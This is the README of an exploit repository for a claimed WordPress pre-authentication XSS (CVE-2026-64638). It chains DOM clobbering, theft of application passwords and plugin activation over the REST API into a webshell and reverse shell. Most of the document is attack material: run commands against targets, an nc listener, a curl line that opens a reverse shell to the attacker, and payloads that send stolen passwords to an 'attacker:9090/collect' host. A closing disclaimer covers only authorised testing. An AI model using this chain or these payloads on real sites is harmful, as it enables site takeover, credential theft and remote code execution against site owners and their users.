CVE-2026-64638 — WordPress: отражённый XSS до аутентификации → RCE через DOM Clobbering + кража паролей приложений + активация плагинов через REST API. Двухрежимный PoC (XSS-цепочка и прямой).
WordPress: отражённый XSS до аутентификации → цепочка удалённого выполнения кода
DOM Clobbering + кража пароля приложения + активация плагина через REST API = полный RCE
CVE-2026-64638 — это критическая отражённая XSS до аутентификации в wp-login.php WordPress. Уязвимость существует из-за того, что сообщение об ошибке входа отражает введённое имя пользователя без надлежащего HTML-кодирования, что позволяет выполнить DOM Clobbering через <area id=ajaxurl> и обойти большинство фильтров.
При объединении с функцией паролей приложений WordPress эта XSS превращается в вектор полного удалённого выполнения кода (RCE) — от пользователя требуется лишь посетить специально созданную страницу-триггер, будучи авторизованным.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| Version | Status | Notes |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ Уязвима | Образы Docker до бэкпорта всё ещё эксплуатируемы |
| WordPress 6.9.6+ | ⚠️ Исправлено (бэкпорт от 7 августа 2026 г.) | Образы Docker, пересобранные после 7 августа, содержат исправление |
| WordPress 7.0.x | ✅ Уязвима | Подтверждено на 7.0.2 |
| WordPress 7.1+ | ❓ Неизвестно | Не тестировалось |
pip3 install requests
Это всё. Всё остальное — из стандартной библиотеки Python 3.8+.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
Жертва должна быть авторизована в WordPress как администратор. Страница-триггер:
wp-login.php через скрытый iframeauthorize-application.php, чтобы жертва одобрила запросpython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Прямой вход → загрузка плагина → мгновенный веб-шелл. XSS не требуется.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
Или вручную через веб-шелл:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Почему это работает:
sanitize_user() в WordPress отсекает стандартные HTML-теги, но пропускает <area> с ведущим пробелом<area id=ajaxurl> выполняет DOM Clobbering — перехватывает window.ajaxurl, используемый JavaScript админ-панели WordPresswp_auth_check срабатывает, и XSS перенаправляет жертву на authorize-application.phpsuccess_url отправляет сгенерированный пароль на callback-сервер атакующегоПосле перехвата пароля приложения:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} с телом {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT запускает /bin/sh -i обратно к атакующему| Target | Version | Mode | Result |
|---|---|---|---|
| Docker (локально) | WordPress 7.0.2 | XSS-цепочка | ✅ RCE как www-data |
| Docker (локально) | WordPress 7.0.2 | Прямой | ✅ RCE как www-data |
| Docker (локально) | WordPress 6.7 | XSS-цепочка | ✅ RCE как www-data |
Этот инструмент предназначен только для авторизованного тестирования безопасности и исследований. Авторы не несут ответственности за неправомерное использование. Всегда получайте письменное разрешение перед тестированием.
«Нет эксплойта — нет отчёта.» — методология Шеннона